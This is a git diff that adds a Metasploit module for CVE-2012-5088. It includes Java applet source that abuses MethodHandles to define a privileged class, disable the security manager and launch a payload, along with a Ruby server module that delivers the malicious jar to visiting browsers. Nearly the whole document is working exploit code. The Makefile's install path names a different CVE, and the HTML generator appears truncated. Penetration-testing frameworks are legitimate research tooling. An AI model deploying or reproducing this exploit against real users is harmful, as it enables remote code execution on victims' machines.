diff --git a/data/exploits/cve-2012-5088/B.class b/data/exploits/cve-2012-5088/B.class
new file mode 100755
index 0000000000..953d5408a7
Binary files /dev/null and b/data/exploits/cve-2012-5088/B.class differ
diff --git a/data/exploits/cve-2012-5088/Exploit.class b/data/exploits/cve-2012-5088/Exploit.class
new file mode 100755
index 0000000000..13d3263fd8
Binary files /dev/null and b/data/exploits/cve-2012-5088/Exploit.class differ
diff --git a/external/source/exploits/cve-2012-5088/B.java b/external/source/exploits/cve-2012-5088/B.java
new file mode 100755
index 0000000000..fec2767060
--- /dev/null
+++ b/external/source/exploits/cve-2012-5088/B.java
@@ -0,0 +1,19 @@
+import java.security.AccessController;
+import java.security.PrivilegedExceptionAction;
+
+public class B
+ implements PrivilegedExceptionAction
+{
+ public B()
+ {
+ try
+ {
+ AccessController.doPrivileged(this); } catch (Exception e) {
+ }
+ }
+
+ public Object run() {
+ System.setSecurityManager(null);
+ return new Object();
+ }
+}
diff --git a/external/source/exploits/cve-2012-5088/Exploit.java b/external/source/exploits/cve-2012-5088/Exploit.java
new file mode 100755
index 0000000000..52045f3953
--- /dev/null
+++ b/external/source/exploits/cve-2012-5088/Exploit.java
@@ -0,0 +1,66 @@
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import metasploit.Payload;
+//import java.lang.Runtime;
+import java.applet.Applet;
+import java.lang.invoke.MethodHandle;
+import java.lang.invoke.MethodHandles;
+import java.lang.invoke.MethodType;
+import java.lang.reflect.Method;
+
+public class Exploit extends Applet
+{
+
+ public Exploit()
+ {
+ }
+
+ public void init()
+ {
+ try
+ {
+
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ byte[] buffer = new byte[8192];
+ int length;
+
+ // read in the class file from the jar
+ InputStream is = getClass().getResourceAsStream("B.class");
+ // and write it out to the byte array stream
+ while( ( length = is.read( buffer ) ) > 0 )
+ bos.write( buffer, 0, length );
+ // convert it to a simple byte array
+ buffer = bos.toByteArray();
+
+ MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
+ MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
+ MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0);
+ Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
+ Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });
+ MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
+ MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
+ MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
+ MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
+ Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
+ MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
+ MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
+ MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
+ MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
+ Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
+ MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
+ MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
+ Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
+ localClass3.newInstance();
+ Payload.main(null);
+ //Runtime.getRuntime().exec("calc.exe");
+ }
+ catch(Throwable ex)
+ {
+ //ex.printStackTrace();
+ }
+ }
+
+}
diff --git a/external/source/exploits/cve-2012-5088/Makefile b/external/source/exploits/cve-2012-5088/Makefile
new file mode 100755
index 0000000000..abc39b7a2c
--- /dev/null
+++ b/external/source/exploits/cve-2012-5088/Makefile
@@ -0,0 +1,16 @@
+CLASSES = \
+ Exploit.java \
+ B.java
+
+.SUFFIXES: .java .class
+.java.class:
+ javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
+
+all: $(CLASSES:.java=.class)
+
+install:
+ mv Exploit.class ../../../../data/exploits/cve-2013-0422/
+ mv B.class ../../../../data/exploits/cve-2013-0422/
+
+clean:
+ rm -rf *.class
diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb
new file mode 100644
index 0000000000..89fd3db6fb
--- /dev/null
+++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb
@@ -0,0 +1,130 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'rex'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::EXE
+
+ include Msf::Exploit::Remote::BrowserAutopwn
+ autopwn_info({ :javascript => false })
+
+ def initialize( info = {} )
+
+ super( update_info( info,
+ 'Name' => 'Java Applet Method Handle Remote Code Execution',
+ 'Description' => %q{
+ This module abuses the Method Handle class from a Java Applet to run arbitrary
+ Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
+ earlier.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Unknown', # Vulnerability discovery at security-explorations.com
+ 'juan vazquez' # Metasploit module
+ ],
+ 'References' =>
+ [
+ [ 'CVE', '2012-5088' ],
+ [ 'URL', '86352' ],
+ [ 'BID', '56057' ],
+ [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
+ [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
+ ],
+ 'Platform' => [ 'java', 'win', 'osx', 'linux' ],
+ 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
+ 'Targets' =>
+ [
+ [ 'Generic (Java Payload)',
+ {
+ 'Platform' => ['java'],
+ 'Arch' => ARCH_JAVA,
+ }
+ ],
+ [ 'Windows x86 (Native Payload)',
+ {
+ 'Platform' => 'win',
+ 'Arch' => ARCH_X86,
+ }
+ ],
+ [ 'Mac OS X x86 (Native Payload)',
+ {
+ 'Platform' => 'osx',
+ 'Arch' => ARCH_X86,
+ }
+ ],
+ [ 'Linux x86 (Native Payload)',
+ {
+ 'Platform' => 'linux',
+ 'Arch' => ARCH_X86,
+ }
+ ],
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Jan 10 2013'
+ ))
+ end
+
+
+ def setup
+ path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class")
+ @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
+ path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class")
+ @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
+
+ @exploit_class_name = rand_text_alpha("Exploit".length)
+ @exploit_class.gsub!("Exploit", @exploit_class_name)
+ super
+ end
+
+ def on_request_uri(cli, request)
+ print_status("handling request for #{request.uri}")
+
+ case request.uri
+ when /\.jar$/i
+ jar = payload.encoded_jar
+ jar.add_file("#{@exploit_class_name}.class", @exploit_class)
+ jar.add_file("B.class", @loader_class)
+ metasploit_str = rand_text_alpha("metasploit".length)
+ payload_str = rand_text_alpha("payload".length)
+ jar.entries.each { |entry|
+ entry.name.gsub!("metasploit", metasploit_str)
+ entry.name.gsub!("Payload", payload_str)
+ entry.data = entry.data.gsub("metasploit", metasploit_str)
+ entry.data = entry.data.gsub("Payload", payload_str)
+ }
+ jar.build_manifest
+
+ send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
+ when /\/$/
+ payload = regenerate_payload(cli)
+ if not payload
+ print_error("Failed to generate the payload.")
+ send_not_found(cli)
+ return
+ end
+ send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
+ else
+ send_redirect(cli, get_resource() + '/', '')
+ end
+
+ end
+
+ def generate_html
+ html = %Q|Loading, Please Wait...|
+ html += %Q|Loading, Please Wait...
|
+ html += %Q||
+ return html
+ end
+
+end